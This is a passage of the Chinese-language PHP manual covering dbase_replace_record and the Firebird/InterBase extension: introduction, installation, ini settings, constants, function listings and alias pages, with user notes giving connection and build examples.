for ($i = 1; $i <= $record_numbers; $i++) {
dbase_delete_record($db, $i);
}
// expunge the database
dbase_pack($db);
}

?>

参见

  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

There are no user contributed notes for this page.


Replaces a record in a database

  • ? dbase_pack
  • Firebird/InterBase ?
  • PHP Manual
  • dBase 函数
  • Replaces a record in a database

dbase_replace_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_replace_record — Replaces a record in a database

说明

dbase_replace_record(resource $database, array $data, int $number): bool

Replaces the given record in the database with the given data.

参数

database

The database resource, returned by dbase_open() or dbase_create().

data

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_replace_record() will fail.

Note:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
dbase 7.0.0 | database is now a resource instead of an int.

示例

Example #1 Updating a record in the database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
// gets the old row
$row = dbase_get_record_with_names($db, 1);

// remove the 'deleted' entry
unset($row['deleted']);

// Update the date field with the current timestamp
$row['date'] = date('Ymd');

// convert the row to an indexed array
$row = array_values($row);

// Replace the record
dbase_replace_record($db, $row, 1);
dbase_close($db);
}

?>

注释

Note:

Boolean fields result in an int element value (0 or 1) when retrieved via dbase_get_record() or dbase_get_record_with_names(). If they are written back, this results in the value becoming 0, so care has to be taken to properly adjust the values.

参见

  • dbase_add_record() - Adds a record to a database
  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

Anonymous 20-May-2015 01:53
Make sure you opened the database for WRITE!
dbase_open( "yourfile.dbf", 2)


Firebird/InterBase

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Firebird/InterBase 函数
    • fbird_add_user — 别名 ibase_add_user
    • fbird_affected_rows — 别名 ibase_affected_rows
    • fbird_backup — 别名 ibase_backup
    • fbird_blob_add — 别名 ibase_blob_add
    • fbird_blob_cancel — Cancel creating blob
    • fbird_blob_close — 别名 ibase_blob_close
    • fbird_blob_create — 别名 ibase_blob_create
    • fbird_blob_echo — 别名 ibase_blob_echo
    • fbird_blob_get — 别名 ibase_blob_get
    • fbird_blob_import — 别名 ibase_blob_import
    • fbird_blob_info — 别名 ibase_blob_info
    • fbird_blob_open — 别名 ibase_blob_open
    • fbird_close — 别名 ibase_close
    • fbird_commit_ret — 别名 ibase_commit_ret
    • fbird_commit — 别名 ibase_commit
    • fbird_connect — 别名 ibase_connect
    • fbird_db_info — 别名 ibase_db_info
    • fbird_delete_user — 别名 ibase_delete_user
    • fbird_drop_db — 别名 ibase_drop_db
    • fbird_errcode — 别名 ibase_errcode
    • fbird_errmsg — 别名 ibase_errmsg
    • fbird_execute — 别名 ibase_execute
    • fbird_fetch_assoc — 别名 ibase_fetch_assoc
    • fbird_fetch_object — 别名 ibase_fetch_object
    • fbird_fetch_row — 别名 ibase_fetch_row
    • fbird_field_info — 别名 ibase_field_info
    • fbird_free_event_handler — 别名 ibase_free_event_handler
    • fbird_free_query — 别名 ibase_free_query
    • fbird_free_result — 别名 ibase_free_result
    • fbird_gen_id — 别名 ibase_gen_id
    • fbird_maintain_db — 别名 ibase_maintain_db
    • fbird_modify_user — 别名 ibase_modify_user
    • fbird_name_result — 别名 ibase_name_result
    • fbird_num_fields — 别名 ibase_num_fields
    • fbird_num_params — 别名 ibase_num_params
    • fbird_param_info — 别名 ibase_param_info
    • fbird_pconnect — 别名 ibase_pconnect
    • fbird_prepare — 别名 ibase_prepare
    • fbird_query — 别名 ibase_query
    • fbird_restore — 别名 ibase_restore
    • fbird_rollback_ret — 别名 ibase_rollback_ret
    • fbird_rollback — 别名 ibase_rollback
    • fbird_server_info — 别名 ibase_server_info
    • fbird_service_attach — 别名 ibase_service_attach
    • fbird_service_detach — 别名 ibase_service_detach
    • fbird_set_event_handler — 别名 ibase_set_event_handler
    • fbird_trans — 别名 ibase_trans
    • fbird_wait_event — 别名 ibase_wait_event
    • ibase_add_user — Add a user to a security database
    • ibase_affected_rows — Return the number of rows that were affected by the previous query
    • ibase_backup — Initiates a backup task in the service manager and returns immediately
    • ibase_blob_add — Add data into a newly created blob
    • ibase_blob_cancel — Cancel creating blob
    • ibase_blob_close — Close blob
    • ibase_blob_create — Create a new blob for adding data
    • ibase_blob_echo — Output blob contents to browser
    • ibase_blob_get — Get len bytes data from open blob
    • ibase_blob_import — Create blob, copy file in it, and close it
    • ibase_blob_info — Return blob length and other useful info
    • ibase_blob_open — Open blob for retrieving data parts
    • ibase_close — Close a connection to an InterBase database
    • ibase_commit_ret — Commit a transaction without closing it
    • ibase_commit — Commit a transaction
    • ibase_connect — Open a connection to a database
    • ibase_db_info — Request statistics about a database
    • ibase_delete_user — Delete a user from a security database
    • ibase_drop_db — Drops a database
    • ibase_errcode — Return an error code
    • ibase_errmsg — Return error messages
    • ibase_execute — Execute a previously prepared query
    • ibase_fetch_assoc — Fetch a result row from a query as an associative array
    • ibase_fetch_object — Get an object from a InterBase database
    • ibase_fetch_row — Fetch a row from an InterBase database
    • ibase_field_info — Get information about a field
    • ibase_free_event_handler — Cancels a registered event handler
    • ibase_free_query — Free memory allocated by a prepared query
    • ibase_free_result — Free a result set
    • ibase_gen_id — Increments the named generator and returns its new value
    • ibase_maintain_db — Execute a maintenance command on the database server
    • ibase_modify_user — Modify a user to a security database
    • ibase_name_result — Assigns a name to a result set
    • ibase_num_fields — Get the number of fields in a result set
    • ibase_num_params — Return the number of parameters in a prepared query
    • ibase_param_info — Return information about a parameter in a prepared query
    • ibase_pconnect — Open a persistent connection to an InterBase database
    • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
    • ibase_query — Execute a query on an InterBase database
    • ibase_restore — Initiates a restore task in the service manager and returns immediately
    • ibase_rollback_ret — Roll back a transaction without closing it
    • ibase_rollback — Roll back a transaction
    • ibase_server_info — Request information about a database server
    • ibase_service_attach — Connect to the service manager
    • ibase_service_detach — Disconnect from the service manager
    • ibase_set_event_handler — Register a callback function to be called when events are posted
    • ibase_trans — Begin a transaction
    • ibase_wait_event — Wait for an event to be posted by the database

User Contributed Notes

There are no user contributed notes for this page.


简介

Warning

此扩展被认为已无人维护及已消亡。然而，此扩展的源代码还可在 PECL GIT 找到： » https://github.com/php/pecl-database-interbase.

Firebird is a relational database offering many ISO SQL-2003 features that runs on Linux, Windows, and a variety of Unix platforms. Firebird offers excellent concurrency, high performance, and powerful language support for stored procedures and triggers. It has been used in production systems, under a variety of names since 1981.

InterBase is the name of the closed-source variant of this RDBMS that was developed by Embarcadero/Inprise. More information about InterBase is available at » http://www.embarcadero.com/products/interbase.

Firebird is a commercially independent project (fundation) of C++ programmers, technical advisors and supporters developing and enhancing a multi-platform relational database management system based on the source code released by Inprise Corp (now known as Embarcadero) under the InterBase Public License v.1.0 on 25 July, 2000. More information about Firebird is available at » http://www.firebirdsql.org/.

Note:

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 7.4.0

This extension supports InterBase versions 6 and up and Firebird version 2.0 and up.

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 7.4.0

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/ibase.

To enable Firebird/InterBase support configure PHP --with-interbase[=DIR], where DIR is the Firebird/InterBase base install directory, which defaults to /usr.

Note: Note to Win32/Win64 Users

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： fbclient.dll,gds32.dll

If you installed the Firebird/InterBase database server on the same machine PHP is running on, you will have this DLL already and fbclient.dll,gds32.dll (gds32.dll is generated from the installer for legacy applications) will already be in the PATH.

User Contributed Notes

hiddenmailbox at yandex dot ru 15-Dec-2011 04:06
I tried to add extension php_interbase.dll on my php (WinXp PHP as Apche2.2 module).
I had a problem while starting web server:
"unable to load dynamic lybrary php_interbase.dll"
Solution was to add file fbclient.dll into php folder. (Not gds32.dll)
teson 26-Oct-2009 05:50
Add interbase.so to MAMP / OSX

get xcode and macports.
install m4 through macports
download php-source corresponding to mamp-version

create symblinks needed
from http://www.ibexpert.net/forum/viewtopic.phpf=13&t=7&start=0&st=0&sk=t&sd=a

# in short:
# (backslash = keep on same row)
cd /usr
sudo  mkdir -p local/firebird/lib

sudo ln -s /Library/Frameworks/Firebird.framework/Firebird \
local/firebird/lib/libfbclient.dylib

sudo ln -s /Library/Frameworks/Firebird.framework/Headers/ \
local/firebird/include

#create .so
sudo su

cd /path-to-php-source/ext/interbase

/Applications/MAMP/bin/php5/bin/phpize

./configure --with-interbase=/usr/local/firebird

make

#install so to mamp-ext.dir
cp modules/interbase.so \
/Applications/MAMP/bin/php5/lib/ \
php/extensions/no-debug-non-zts-20050922

#add to /Applications/MAMP/conf/php5/php.ini
[firebird]
extension = interbase.so
ibase.allow_persistent = "1"
ibase.max_persistent = "-1"
ibase.max_links = "-1"
ibase.default_db = null
ibase.default_user = NULL
ibase.default_password = NULL
ibase.default_charset = NULL
ibase.timestampformat = "%Y-%m-%d %H:%M:%S"
ibase.dateformat = "%Y-%m-%d"
ibase.timeformat = "%H:%M:%S"

#restart mamp - interbase should show in phpinfo
#enjoy!
rockeur941 at hotmail dot com 15-Feb-2009 02:05
On version 2.0 or higher of Firebird, the library is now fbclient.dll. But, fbclient.dll can be rename on gds32.dll, on Windows System for compatibility. The library gds32.dll is for older version of firebird.

Pour les version récentes (2 et plus) de Firebird, la librairie est maintenant fbclient.dll. La librairie gds32.dll était pour les anciennes versions. Il est possible de renommer fbclient.dll en gds32.dll pour les différentes compatibilités pour les application déjà existantes.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

InterBase configuration options
名字 | 默认 | 可修改范围 | 更新日志
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.default_db | NULL | PHP_INI_SYSTEM |
ibase.default_user | NULL | PHP_INI_ALL |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL |
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

ibase.allow_persistent bool

Whether to allow persistent connections to Firebird/InterBase.

ibase.max_persistent int

The maximum number of persistent Firebird/InterBase connections per process. New connections created with ibase_pconnect() will be non-persistent if this number would be exceeded.

ibase.max_links int

The maximum number of Firebird/InterBase connections per process, including persistent connections.

ibase.default_db string

The default database to connect to when ibase_[p]connect() is called without specifying a database name. If this value is set and SQL safe mode is enabled, no other connections than to this database will be allowed.

ibase.default_user string

The user name to use when connecting to a database if no user name is specified.

ibase.default_password string

The password to use when connecting to a database if no password is specified.

ibase.default_charset string

The character set to use when connecting to a database if no character set is specified.

ibase.timestampformat string

ibase.dateformat string

ibase.timeformat string

These directives are used to set the date and time formats that are used when returning dates and times from a result set, or when binding arguments to date and time parameters.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

The following constants can be passed to ibase_trans() to specify transaction behaviour.

Firebird/InterBase transaction flags
Constant | Description
IBASE_DEFAULT | The default transaction settings are to be used. This default is determined by the client library, which defines it as IBASE_WRITE|IBASE_CONCURRENCY|IBASE_WAIT in most cases.
IBASE_READ | Starts a read-only transaction.
IBASE_WRITE | Starts a read-write transaction.
IBASE_CONSISTENCY | Starts a transaction with the isolation level set to 'consistency', which means the transaction cannot read from tables that are being modified by other concurrent transactions.
IBASE_CONCURRENCY | Starts a transaction with the isolation level set to 'concurrency' (or 'snapshot'), which means the transaction has access to all tables, but cannot see changes that were committed by other transactions after the transaction was started.
IBASE_COMMITTED | Starts a transaction with the isolation level set to 'read committed'. This flag should be combined with either IBASE_REC_VERSION or IBASE_REC_NO_VERSION. This isolation level allows access to changes that were committed after the transaction was started. If IBASE_REC_NO_VERSION was specified, only the latest version of a row can be read. If IBASE_REC_VERSION was specified, a row can even be read when a modification to it is pending in a concurrent transaction.
IBASE_WAIT | Indicated that a transaction should wait and retry when a conflict occurs.
IBASE_NOWAIT | Indicated that a transaction should fail immediately when a conflict occurs.

The following constants can be passed to ibase_fetch_row(), ibase_fetch_assoc() or ibase_fetch_object() to specify fetch behaviour.

Firebird/InterBase fetch flags
Constant | Description
IBASE_FETCH_BLOBS | Also available as IBASE_TEXTfor backward compatibility. Causes BLOB contents to be fetched inline, instead of being fetched as BLOB identifiers.
IBASE_FETCH_ARRAYS | Causes arrays to be fetched inline. Otherwise, array identifiers are returned. Array identifiers can only be used as arguments to INSERT operations, as no functions to handle array identifiers are currently available.
IBASE_UNIXTIME | Causes date and time fields not to be returned as strings, but as UNIX timestamps (the number of seconds since the epoch, which is 1-Jan-1970 0:00 UTC). Might be problematic if used with dates before 1970 on some systems.

The following constants are used to pass requests and options to the service
API functions (ibase_server_info(), ibase_db_info(),
ibase_backup(), ibase_restore()
and ibase_maintain_db()). Please refer to
the Firebird/InterBase manuals for the meaning of these options.

IBASE_BKP_IGNORE_CHECKSUMS
Options to ibase_backup()
IBASE_BKP_IGNORE_LIMBO
Options to ibase_backup()
IBASE_BKP_METADATA_ONLY
Options to ibase_backup()
IBASE_BKP_NO_GARBAGE_COLLECT
Options to ibase_backup()
IBASE_BKP_OLD_DESCRIPTIONS
Options to ibase_backup()
IBASE_BKP_NON_TRANSPORTABLE
Options to ibase_backup()
IBASE_BKP_CONVERT
Options to ibase_backup()
IBASE_RES_DEACTIVATE_IDX
Options to ibase_restore()
IBASE_RES_NO_SHADOW
Options to ibase_restore()
IBASE_RES_NO_VALIDITY
Options to ibase_restore()
IBASE_RES_ONE_AT_A_TIME
Options to ibase_restore()
IBASE_RES_REPLACE
IBASE_RES_CREATE
Options to ibase_restore()
IBASE_RES_USE_ALL_SPACE
Options to ibase_restore()
IBASE_PRP_PAGE_BUFFERS
IBASE_PRP_SWEEP_INTERVAL
IBASE_PRP_SHUTDOWN_DB
IBASE_PRP_DENY_NEW_TRANSACTIONS
IBASE_PRP_DENY_NEW_ATTACHMENTS
IBASE_PRP_RESERVE_SPACE
IBASE_PRP_RES_USE_FULL
IBASE_PRP_RES
IBASE_PRP_WRITE_MODE
IBASE_PRP_WM_ASYNC
IBASE_PRP_WM_SYNC
IBASE_PRP_ACCESS_MODE
IBASE_PRP_AM_READONLY
IBASE_PRP_AM_READWRITE
IBASE_PRP_SET_SQL_DIALECT
IBASE_PRP_ACTIVATE
IBASE_PRP_DB_ONLINE
IBASE_RPR_CHECK_DB
IBASE_RPR_IGNORE_CHECKSUM
IBASE_RPR_KILL_SHADOWS
IBASE_RPR_MEND_DB
IBASE_RPR_VALIDATE_DB
IBASE_RPR_FULL
IBASE_RPR_SWEEP_DB
Options to ibase_maintain_db()
IBASE_STS_DATA_PAGES
IBASE_STS_DB_LOG
IBASE_STS_HDR_PAGES
IBASE_STS_IDX_PAGES
IBASE_STS_SYS_RELATIONS
Options to ibase_db_info()
IBASE_SVC_SERVER_VERSION
Options to ibase_server_info()
IBASE_SVC_IMPLEMENTATION
Options to ibase_server_info()
IBASE_SVC_GET_ENV
Options to ibase_server_info()
IBASE_SVC_GET_ENV_LOCK
IBASE_SVC_GET_ENV_MSG
IBASE_SVC_USER_DBPATH
IBASE_SVC_SVR_DB_INFO
IBASE_SVC_GET_USERS
Options to ibase_server_info()

User Contributed Notes

There are no user contributed notes for this page.


Firebird/InterBase 函数

Table of Contents

  • fbird_add_user — 别名 ibase_add_user
  • fbird_affected_rows — 别名 ibase_affected_rows
  • fbird_backup — 别名 ibase_backup
  • fbird_blob_add — 别名 ibase_blob_add
  • fbird_blob_cancel — Cancel creating blob
  • fbird_blob_close — 别名 ibase_blob_close
  • fbird_blob_create — 别名 ibase_blob_create
  • fbird_blob_echo — 别名 ibase_blob_echo
  • fbird_blob_get — 别名 ibase_blob_get
  • fbird_blob_import — 别名 ibase_blob_import
  • fbird_blob_info — 别名 ibase_blob_info
  • fbird_blob_open — 别名 ibase_blob_open
  • fbird_close — 别名 ibase_close
  • fbird_commit_ret — 别名 ibase_commit_ret
  • fbird_commit — 别名 ibase_commit
  • fbird_connect — 别名 ibase_connect
  • fbird_db_info — 别名 ibase_db_info
  • fbird_delete_user — 别名 ibase_delete_user
  • fbird_drop_db — 别名 ibase_drop_db
  • fbird_errcode — 别名 ibase_errcode
  • fbird_errmsg — 别名 ibase_errmsg
  • fbird_execute — 别名 ibase_execute
  • fbird_fetch_assoc — 别名 ibase_fetch_assoc
  • fbird_fetch_object — 别名 ibase_fetch_object
  • fbird_fetch_row — 别名 ibase_fetch_row
  • fbird_field_info — 别名 ibase_field_info
  • fbird_free_event_handler — 别名 ibase_free_event_handler
  • fbird_free_query — 别名 ibase_free_query
  • fbird_free_result — 别名 ibase_free_result
  • fbird_gen_id — 别名 ibase_gen_id
  • fbird_maintain_db — 别名 ibase_maintain_db
  • fbird_modify_user — 别名 ibase_modify_user
  • fbird_name_result — 别名 ibase_name_result
  • fbird_num_fields — 别名 ibase_num_fields
  • fbird_num_params — 别名 ibase_num_params
  • fbird_param_info — 别名 ibase_param_info
  • fbird_pconnect — 别名 ibase_pconnect
  • fbird_prepare — 别名 ibase_prepare
  • fbird_query — 别名 ibase_query
  • fbird_restore — 别名 ibase_restore
  • fbird_rollback_ret — 别名 ibase_rollback_ret
  • fbird_rollback — 别名 ibase_rollback
  • fbird_server_info — 别名 ibase_server_info
  • fbird_service_attach — 别名 ibase_service_attach
  • fbird_service_detach — 别名 ibase_service_detach
  • fbird_set_event_handler — 别名 ibase_set_event_handler
  • fbird_trans — 别名 ibase_trans
  • fbird_wait_event — 别名 ibase_wait_event
  • ibase_add_user — Add a user to a security database
  • ibase_affected_rows — Return the number of rows that were affected by the previous query
  • ibase_backup — Initiates a backup task in the service manager and returns immediately
  • ibase_blob_add — Add data into a newly created blob
  • ibase_blob_cancel — Cancel creating blob
  • ibase_blob_close — Close blob
  • ibase_blob_create — Create a new blob for adding data
  • ibase_blob_echo — Output blob contents to browser
  • ibase_blob_get — Get len bytes data from open blob
  • ibase_blob_import — Create blob, copy file in it, and close it
  • ibase_blob_info — Return blob length and other useful info
  • ibase_blob_open — Open blob for retrieving data parts
  • ibase_close — Close a connection to an InterBase database
  • ibase_commit_ret — Commit a transaction without closing it
  • ibase_commit — Commit a transaction
  • ibase_connect — Open a connection to a database
  • ibase_db_info — Request statistics about a database
  • ibase_delete_user — Delete a user from a security database
  • ibase_drop_db — Drops a database
  • ibase_errcode — Return an error code
  • ibase_errmsg — Return error messages
  • ibase_execute — Execute a previously prepared query
  • ibase_fetch_assoc — Fetch a result row from a query as an associative array
  • ibase_fetch_object — Get an object from a InterBase database
  • ibase_fetch_row — Fetch a row from an InterBase database
  • ibase_field_info — Get information about a field
  • ibase_free_event_handler — Cancels a registered event handler
  • ibase_free_query — Free memory allocated by a prepared query
  • ibase_free_result — Free a result set
  • ibase_gen_id — Increments the named generator and returns its new value
  • ibase_maintain_db — Execute a maintenance command on the database server
  • ibase_modify_user — Modify a user to a security database
  • ibase_name_result — Assigns a name to a result set
  • ibase_num_fields — Get the number of fields in a result set
  • ibase_num_params — Return the number of parameters in a prepared query
  • ibase_param_info — Return information about a parameter in a prepared query
  • ibase_pconnect — Open a persistent connection to an InterBase database
  • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
  • ibase_query — Execute a query on an InterBase database
  • ibase_restore — Initiates a restore task in the service manager and returns immediately
  • ibase_rollback_ret — Roll back a transaction without closing it
  • ibase_rollback — Roll back a transaction
  • ibase_server_info — Request information about a database server
  • ibase_service_attach — Connect to the service manager
  • ibase_service_detach — Disconnect from the service manager
  • ibase_set_event_handler — Register a callback function to be called when events are posted
  • ibase_trans — Begin a transaction
  • ibase_wait_event — Wait for an event to be posted by the database

User Contributed Notes

sysop at smartnettechnologies dot com 25-Sep-2007 12:01
This example have 2 problems my be the autor writes it to fast but in the first case use one var for define user pass and and the use other one for call them and in secon step use comas after the ;

$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
fortega at uamericas dot net 01-Jul-2007 02:11
Here is a minimalistic code example. Be sure to create an user and a database in order to make it work.

<?php
// Minimalistic code example

// Connection
$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
$result=ibase_query($res,$sql) or die(ibase_errmsg());
while($row=ibase_fetch_object($result)){
    // use $row->FIELDNAME not $row->fieldname
    print $row->FIELDNAME;
}
ibase_free_result($result);

// Closing
ibase_close($res) or die("<br>" . ibase_errmsg());
?>

The following code can be used when creating tables in order to get auto incrementing fields:

<?php

// This function generates an autoincrement field, such as MySQL AUTO_INCREMENT.
function generate_autoincrement($tablename,$primarykey){
    // * Generator
    dbexec('CREATE GENERATOR GEN_' . $tablename . '_PK;');
    // * Trigger
    dbexec('CREATE TRIGGER INC_' . $primarykey . ' FOR ' . $tablename
        . chr(13) . 'ACTIVE BEFORE INSERT POSITION 0'
        . chr(13) . 'AS'
        . chr(13) . 'BEGIN'
        . chr(13) . 'IF (NEW.' . $primarykey . ' IS NULL) THEN'
        . chr(13) . 'NEW.' . $primarykey . '= GEN_ID(GEN_' . $tablename . '_PK, 1);'
        . chr(13) . 'END');
}
?>

Usage: <?php generate_autoincrement('table','column name'); ?>
felixlee at singnet dot com dot sg 02-Jul-2003 11:33
Here's an example for getting results back from stored procedure in firebird.
The example make use of the stored procedure in Employee.gdb and the show_langs procedure.

$host = 'localhost:X:/firebird/examples/Employee.gdb';
$username='SYSDBA';
$password='masterkey';

$dbh = ibase_connect ( $host, $username, $password ) or die ("error in db connect");
 $stmt="Select * from SHOW_LANGS('SRep',4,'Italy')";
 $query = ibase_prepare($stmt);
 $rs=ibase_execute($query);
$row = ibase_fetch_row($rs);

echo $row[0];

/* free result */
ibase_free_query($query);
ibase_free_result($rs);

/* close db */
ibase_close($dbh);
?>
lars at dybdahl dot net 20-Sep-2002 07:32
It is not possible to use interbase/firebird without initiating transactions. It seems that transactions are not automatically committed or rolled back at the end of a script, so remember to end all interbase enabled scripts with ibase_rollback() or ibase_commit().

Worse is, that if you use ibase_pconnect (recommended), transactions survive from one request to the next. So that if you don't rollback your transaction at the end of the script, another user's request might continue the transaction that the first request opened.

This has two implications:
1) Clicking refresh in your browser won't make you see newer data, because you still watch data from the same transaction.
2) Some php scripts might fail occassionally and not fail in other occasions, depending on with apache server thread and thereby which transaction they start using.

Unfortunately, there is no such thing as
if (ibase_intransaction()) ibase_rollback();

so be sure that ALL your scripts end with an ibase_rollback() or ibase_commit();
interbase at almico dot com 05-Sep-2002 02:24
If you are using VirtualHosts with Apache, you might find useful the following directive:

php_flag magic_quotes_sybase on

Use it in any VirtualHost and it will be set locally to that VirtualHost without interfering with any global setting.
This is an example:

<VirtualHost 555.666.777.888>
   ServerName www.samplehost.com
   DirectoryIndex index.php index.htm
   php_flag magic_quotes_sybase on
</VirtualHost>
johan at essay dot org 06-Aug-2000 07:24
For those who have problem with returning values from Stored Procedures in PHP-Interbase,  I have found a solution.   Use a select sentence like this:
select * from sp_prodecure(param, ...)
However, it is important that the procedure has a SUSPEND statement or else the procedure won't return any values.

But the "message length" (see above note) bug that you encounter when you try to execute a procedure should be fixed !


别名 ibase_add_user

  • ? Firebird/InterBase 函数
  • fbird_affected_rows ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_add_user

fbird_add_user

(PHP 5, PHP 7 < 7.4.0)

fbird_add_user — 别名 ibase_add_user()

说明

此函数是该函数的别名： ibase_add_user().

参见

  • fbird_modify_user() - 别名 ibase_modify_user
  • fbird_delete_user() - 别名 ibase_delete_user

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_affected_rows

  • ? fbird_add_user
  • fbird_backup ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_affected_rows

fbird_affected_rows

(PHP 5, PHP 7 < 7.4.0)

fbird_affected_rows — 别名 ibase_affected_rows()

说明

此函数是该函数的别名： ibase_affected_rows().

参见

  • fbird_query() - 别名 ibase_query
  • fbird_execute() - 别名 ibase_execute

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_backup

  • ? fbird_affected_rows
  • fbird_blob_add ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_backup

fbird_backup

(PHP 5, PHP 7 < 7.4.0)

fbird_backup — 别名 ibase_backup()

说明

此函数是该函数的别名： ibase_backup().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_add

  • ? fbird_backup
  • fbird_blob_cancel ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_add

fbird_blob_add

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_add — 别名 ibase_blob_add()

说明

此函数是该函数的别名： ibase_blob_add().

参见

  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_create() - 别名 ibase_blob_create
  • fbird_blob_import() - 别名 ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


Cancel creating blob

  • ? fbird_blob_add
  • fbird_blob_close ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Cancel creating blob

fbird_blob_cancel

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_cancel — Cancel creating blob

说明

fbird_blob_cancel(resource $blob_handle): bool

This function will discard a BLOB if it has not yet been closed by fbird_blob_close().

参数

blob_handle

A BLOB handle opened with fbird_blob_create().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_create() - 别名 ibase_blob_create
  • fbird_blob_import() - 别名 ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_close

  • ? fbird_blob_cancel
  • fbird_blob_create ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_close

fbird_blob_close

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_close — 别名 ibase_blob_close()

说明

此函数是该函数的别名： ibase_blob_close().

参见

  • fbird_blob_create() - 别名 ibase_blob_create
  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_open() - 别名 ibase_blob_open
  • fbird_blob_import() - 别名 ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_create

  • ? fbird_blob_close
  • fbird_blob_echo ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_create

fbird_blob_create

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_create — 别名 ibase_blob_create()

说明

此函数是该函数的别名： ibase_blob_create().

参见

  • fbird_blob_add() - 别名 ibase_blob_add
  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_import() - 别名 ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_echo

  • ? fbird_blob_create
  • fbird_blob_get ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_echo

fbird_blob_echo

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_echo — 别名 ibase_blob_echo()

说明

此函数是该函数的别名： ibase_blob_echo().

参见

  • fbird_blob_open() - 别名 ibase_blob_open
  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_get() - 别名 ibase_blob_get

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_get

  • ? fbird_blob_echo
  • fbird_blob_import ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_get

fbird_blob_get

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_get — 别名 ibase_blob_get()

说明

此函数是该函数的别名： ibase_blob_get().

参见

  • fbird_blob_open() - 别名 ibase_blob_open
  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_echo() - 别名 ibase_blob_echo

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_import

  • ? fbird_blob_get
  • fbird_blob_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_import

fbird_blob_import

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_import — 别名 ibase_blob_import()

说明

此函数是该函数的别名： ibase_blob_import().

参见

  • fbird_blob_add() - 别名 ibase_blob_add
  • fbird_blob_cancel() - Cancel creating blob
  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_create() - 别名 ibase_blob_create

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_info

  • ? fbird_blob_import
  • fbird_blob_open ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_info

fbird_blob_info

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_info — 别名 ibase_blob_info()

说明

此函数是该函数的别名： ibase_blob_info().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_blob_open

  • ? fbird_blob_info
  • fbird_close ?
